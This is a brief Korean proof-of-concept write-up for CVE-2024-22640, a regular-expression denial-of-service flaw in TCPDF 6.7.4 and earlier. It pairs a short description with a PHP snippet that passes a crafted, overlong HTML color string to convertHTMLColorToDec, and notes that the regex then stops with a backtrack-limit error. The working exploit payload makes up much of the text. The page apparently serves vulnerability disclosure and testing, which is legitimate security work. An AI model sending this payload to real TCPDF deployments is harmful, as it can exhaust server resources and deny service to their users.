
CVE-2024-22640의 개념 증명 익스플로잇으로, TCPDF <=6.7.4에서 조작된 HTML 색상 입력에 의해 트리거되는 ReDoS 취약점이며, 데모 코드가 포함되어 있습니다.
정규 표현식 서비스 거부 (ReDoS)
TCPDF <= 6.7.4
TCPDF가 조작된 페이로드가 포함된 HTML 색상을 구문 분석합니다.
TCPDF 버전 <= 6.7.4는 조작된 색상이 포함된 신뢰할 수 없는 HTML 페이지를 구문 분석할 경우 ReDoS(정규 표현식 서비스 거부)에 취약합니다.
<?php
require_once('../tcpdf.php');
$test = new TCPDF_COLORS();
$ref = "none";
$test -> convertHTMLColorToDec('["t"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000!]',$ref);
?>
참고: 취약한 코드 줄 다음에 **preg_last_error()**로 확인하면 정규식이 PREG_BACKTRACK_LIMIT_ERROR로 종료됩니다.